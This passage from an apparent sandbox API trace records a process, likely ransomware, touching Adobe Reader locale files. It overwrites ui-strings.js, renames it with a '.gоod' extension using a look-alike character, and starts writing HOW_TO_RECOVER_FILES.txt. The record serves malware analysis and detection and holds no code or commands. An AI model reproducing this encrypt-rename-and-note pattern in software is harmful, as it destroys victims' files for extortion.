nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0190.396] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0190.396] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0190.396] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0190.396] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0190.396] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0190.397] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0190.397] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0190.397] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0190.397] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0190.397] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0190.397] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0190.397] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0190.397] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0190.398] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0190.398] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0190.398] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0190.398] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0190.398] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0190.398] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0190.398] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0190.398] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0190.399] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0190.399] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0190.399] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0190.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe90) returned 1 [0190.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe50) returned 1 [0190.400] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eb830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0190.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebd00) returned 1 [0190.400] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x388cc58 | out: lpFileInformation=0x388cc58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf)) returned 1 [0190.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebcc0) returned 1 [0190.401] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eb690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0190.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebbb0) returned 1 [0190.401] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0190.401] GetFileType (hFile=0x630) returned 0x1 [0190.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebb20) returned 1 [0190.401] GetFileType (hFile=0x630) returned 0x1 [0190.401] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x203ebd58 | out: lpFileSizeHigh=0x203ebd58*=0x0) returned 0x4bf [0190.401] ReadFile (in: hFile=0x630, lpBuffer=0x388d4a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ebc88, lpOverlapped=0x0 | out: lpBuffer=0x388d4a0*, lpNumberOfBytesRead=0x203ebc88*=0x4bf, lpOverlapped=0x0) returned 1 [0190.403] CloseHandle (hObject=0x630) returned 1 [0192.157] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eb690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0192.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebbb0) returned 1 [0192.157] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0192.375] GetFileType (hFile=0x820) returned 0x1 [0192.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebb20) returned 1 [0192.375] GetFileType (hFile=0x820) returned 0x1 [0192.375] WriteFile (in: hFile=0x820, lpBuffer=0x345c730*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x203ebb98, lpOverlapped=0x0 | out: lpBuffer=0x345c730*, lpNumberOfBytesWritten=0x203ebb98*=0x4c0, lpOverlapped=0x0) returned 1 [0192.376] CloseHandle (hObject=0x820) returned 1 [0192.376] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eb830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0192.376] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eb830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x84 [0192.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebcc0) returned 1 [0192.376] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203ebda0 | out: lpFileInformation=0x203ebda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6ee0b314, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4c0)) returned 1 [0192.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebc80) returned 1 [0192.376] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ui-strings.js.gоod")) returned 1 [0192.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0192.377] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ar-ae", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ar-ae", lpFilePart=0x0) returned 0x77 [0192.378] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ar-ae\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0192.379] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.379] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0192.379] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0192.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0192.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0192.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0192.379] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ar-ae", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ar-ae", lpFilePart=0x0) returned 0x77 [0192.379] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ar-ae\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0192.379] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.380] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0192.380] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0192.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0192.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0192.380] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ar-ae\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ar-ae\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0192.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0192.381] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ar-ae\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ar-ae\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0192.381] GetFileType (hFile=0x820) returned 0x1 [0192.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0192.381] 